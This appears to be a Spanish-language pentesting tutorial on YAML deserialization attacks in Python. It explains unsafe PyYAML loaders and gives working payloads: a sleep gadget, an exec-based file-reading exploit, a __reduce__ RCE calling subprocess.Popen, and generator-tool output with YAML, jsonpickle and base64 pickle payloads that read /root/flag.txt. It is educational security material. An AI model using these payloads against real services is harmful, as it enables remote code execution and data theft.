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</details>
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# Deserialización de Yaml
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Las librerías de python de **Yaml** también son capaces de **serializar objetos de python** y no solo datos en bruto:
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```
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print(yaml.dump(str("lol")))
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lol
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...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
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|
- o
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|
- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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|
- 1
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```
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Comprueba cómo la **tupla** no es un tipo de dato en bruto y, por lo tanto, fue **serializada**. Y lo mismo sucedió con el **rango** (tomado de los builtins).
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 (1).png>)
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**safe\_load()** o **safe\_load\_all()** utilizan SafeLoader y **no admiten la deserialización de objetos de clase**. Ejemplo de deserialización de objetos de clase:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
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|
print(yaml.load(data, Loader=Loader)) #range(1, 10)
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print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load(data)) #range(1, 10)
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print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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#deserialize the python object
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```
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El código anterior utilizó **unsafe\_load** para cargar la clase python serializada. Esto se debe a que en **la versión >= 5.1**, no permite **deserializar ninguna clase python serializada o atributo de clase**, con Loader no especificado en load() o Loader=SafeLoader.
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## Exploit Básico
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Ejemplo de cómo **ejecutar un sleep**:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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print(yaml.load(data, Loader=UnsafeLoader)) #Executed
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|
print(yaml.load(data, Loader=Loader)) #Executed
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|
print(yaml.load_all(data))
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|
print(yaml.load_all(data, Loader=Loader))
|
|
print(yaml.load_all(data, Loader=UnsafeLoader))
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print(yaml.load_all(data, Loader=FullLoader))
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|
print(yaml.unsafe_load(data)) #Executed
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print(yaml.full_load_all(data))
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print(yaml.unsafe_load_all(data))
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```
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## Vulnerabilidad .load("\<contenido>") sin Loader
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Las versiones **antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no se especificaba el Loader** al cargar algo: `yaml.load(data)`
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Puede encontrar la [**descripción de la vulnerabilidad aquí**](https://hackmd.io/@defund/HJZajCVlP)**.** El **exploit** propuesto en esa página es:
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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O también puedes usar este **one-liner proporcionado por @ishaack**:
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```yaml
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!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
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```
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Ten en cuenta que en **versiones recientes** ya no puedes **llamar a `.load()`** **sin un `Loader`** y el **`FullLoader`** ya no es vulnerable a este ataque.
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# RCE
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Ten en cuenta que la creación de carga útil se puede hacer con **cualquier módulo YAML de Python (PyYAML o ruamel.yaml), de la misma manera**. La misma carga útil puede explotar tanto el módulo YAML como cualquier módulo basado en PyYAML o ruamel.yaml.
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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print(yaml.unsafe_load(deserialized_data))
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```
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## Herramienta para crear Payloads
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La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización de Python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
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```bash
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python3 peas.py
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Enter RCE command :cat /root/flag.txt
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Enter operating system of target [linux/windows] . Default is linux :linux
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|
Want to base64 encode payload ? [N/y] :
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|
Enter File location and name to save :/tmp/example
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|
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
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|
Done Saving file !!!!
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|
cat /tmp/example_jspick
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|
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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cat /tmp/example_pick | base64 -w0
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|
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
|
|
|
|
cat /tmp/example_yaml
|
|
!!python/object/apply:subprocess.Popen
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- !!python/tuple
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- cat
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- /root/flag.txt
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```
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# Referencias
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Para obtener información más detallada sobre esta técnica, lee: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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